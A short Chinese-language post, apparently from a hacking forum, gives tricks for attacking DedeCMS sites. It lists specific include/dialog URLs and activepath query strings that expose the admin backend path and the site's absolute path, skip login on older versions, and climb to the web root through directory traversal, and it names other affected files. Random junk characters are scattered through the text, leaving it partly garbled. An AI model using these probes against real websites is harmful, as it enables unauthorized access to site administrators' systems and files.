dedecms爆后台文件技巧

admin

1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理
* v+ H' D  T$ s: v/ h! o7 t9 ]. F
; ?1 e. k* g- s' [1 y0 K- N员帐号,新版本的就直接转向了后台.
* l9 D% I! ]0 V; V( t; I
" N6 C: {# b  z/ o, O3 R2.include/dialog/config.php会爆出后台管理路径
- p  H1 y+ S, _6 b% o! A) p
- i0 G2 i; h5 Z3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录

: i# R4 b( O6 j$ I' }/ P; a" z4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.
3 g; M3 ?' r5 Y! W$ _- Q! d
6 d) E) M6 G) A3 P+ [5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
+ Q' ]) y: c8 \/ r, U3 ?' O7 I* e4 E
到根目录去.不过这些版本的访问地址有些不同.
9 M; R$ S$ i6 I3 b4 M5 t4 z地址为require/dialog/select_soft.php?activepath=/././././././././
4 k) |5 K/ Q3 X! X6 b  E
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
存在相同问题的文件还有
include\dialog\select_images.php
include\dialog\select_media.php
* K& P1 |) e' k( b" Iinclude\dialog\select_templets.php​
# T9 r0 {& F. m& h+ |